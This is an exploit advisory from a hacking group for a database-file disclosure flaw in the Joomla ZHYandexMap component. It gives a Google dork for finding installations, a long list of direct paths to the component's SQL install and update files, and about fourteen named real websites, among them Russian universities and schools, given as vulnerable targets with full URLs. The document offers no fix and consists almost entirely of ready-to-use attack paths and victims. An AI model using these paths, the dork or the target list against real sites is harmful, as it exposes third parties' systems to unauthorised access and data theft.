####################################################################
# Exploit Title : Joomla ZHYandexMap Components 8.0.0.2 Database Disclosure
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 18/01/2019
# Vendor Homepage : joomla.org
# Software Information Link : extensions.joomla.org/extension/zh-yandexmap/
# Software Download Link : zhuk.cc/files/pkg_zhyandexmap-j30-8.0.0.2-final.zip
# Software Version : 8.0.0.2
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : inurl:''/administrator/components/com_zhyandexmap/'' site:ru
# Vulnerability Type : CWE-264 - [ Permissions, Privileges, and Access Controls ]
CWE-23 - [ Relative Path Traversal ] - CWE-200 [ Information Exposure ]
CWE-530 [ Exposure of Backup File to an Unauthorized Control Sphere ]
####################################################################
# Database Disclosure Exploit :
****************************
/administrator/components/com_zhyandexmap/sql/install.mysql.utf8.sql
/administrator/components/com_zhyandexmap/sql/uninstall.mysql.utf8.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/0.0.1.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/1.1.2.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/1.1.3.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/1.1.6.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/1.1.7.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/1.1.8.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/1.1.10.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/1.1.17.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/1.1.22.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/1.1.23.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/1.1.25.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/1.1.26.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/1.1.27.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/1.1.28.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/1.2.1.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/1.2.2.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/1.2.4.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/1.3.1.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/1.3.4.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/1.3.5.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/1.3.6.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/1.5.1.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/1.5.3.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/1.6.1.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/1.6.3.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/1.6.4.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/2.1.1.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/2.2.1.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/2.2.4.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/2.2.5.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/2.2.6.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/2.2.7.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/2.3.2.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/2.3.6.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/2.3.7.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/2.3.8.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/2.3.9.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/2.3.13.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/2.3.16.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/2.4.2.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/2.4.3.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/2.4.4.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/2.4.5.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/2.4.7.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/2.4.9.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/2.4.10.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/2.4.13.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/2.5.2.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/2.5.3.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/3.0.4.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/3.0.5.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/3.0.6.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/3.1.2.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/3.3.5.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/3.3.7.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/3.3.8.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/3.3.10.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/3.3.12.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/3.3.13.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/3.3.14.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/3.3.15.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/4.1.3.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/4.1.4.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/4.2.0.0.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/4.2.1.0.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/4.2.2.0.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/4.3.2.1.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/4.3.3.0.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/4.4.0.0.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/4.4.1.0.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/5.0.2.0.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/5.0.3.0.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/5.0.3.1.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/5.0.3.2.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/5.0.3.3.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/5.1.0.0.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/6.2.2.0.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/6.2.2.3.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/6.2.3.0.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/6.2.3.1.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/6.2.3.2.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/6.2.3.3.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/6.2.3.4.sql
/administrator/components/com_zhyandexmap/sql/updates/mysql/6.2.3.5.sql
####################################################################
# Example Vulnerable Sites :
*************************
[+] agp.edu.ru/administrator/components/com_zhyandexmap/sql/install.mysql.utf8.sql
[+] porolonprofi.ru/administrator/components/com_zhyandexmap/sql/install.mysql.utf8.sql
[+] domnabannom.ru/administrator/components/com_zhyandexmap/sql/install.mysql.utf8.sql
[+] ivpek.ru/administrator/components/com_zhyandexmap/sql/install.mysql.utf8.sql
[+] morepilates-nn.ru/administrator/components/com_zhyandexmap/sql/install.mysql.utf8.sql
[+] voenmeh.ru/administrator/components/com_zhyandexmap/sql/install.mysql.utf8.sql
[+] mininuniver.ru/administrator/components/com_zhyandexmap/sql/install.mysql.utf8.sql
[+] vobla.ru/administrator/components/com_zhyandexmap/sql/install.mysql.utf8.sql
[+] mihrab.ru/administrator/components/com_zhyandexmap/sql/install.mysql.utf8.sql
[+] ddtuljanovka.tsn.lokos.net/administrator/components/com_zhyandexmap/sql/install.mysql.utf8.sql
[+] mkdou31.tsn.lokos.net/administrator/components/com_zhyandexmap/sql/updates/mysql/6.2.3.5.sql
[+] ddtuljanovka.tsn.lokos.net/administrator/components/com_zhyandexmap/sql/updates/mysql/1.1.3.sql
[+] krbor.tsn.lokos.net/administrator/components/com_zhyandexmap/sql/uninstall.mysql.utf8.sql
[+] ushaki.tsn.lokos.net/administrator/components/com_zhyandexmap/sql/updates/mysql/2.4.3.sql
####################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
####################################################################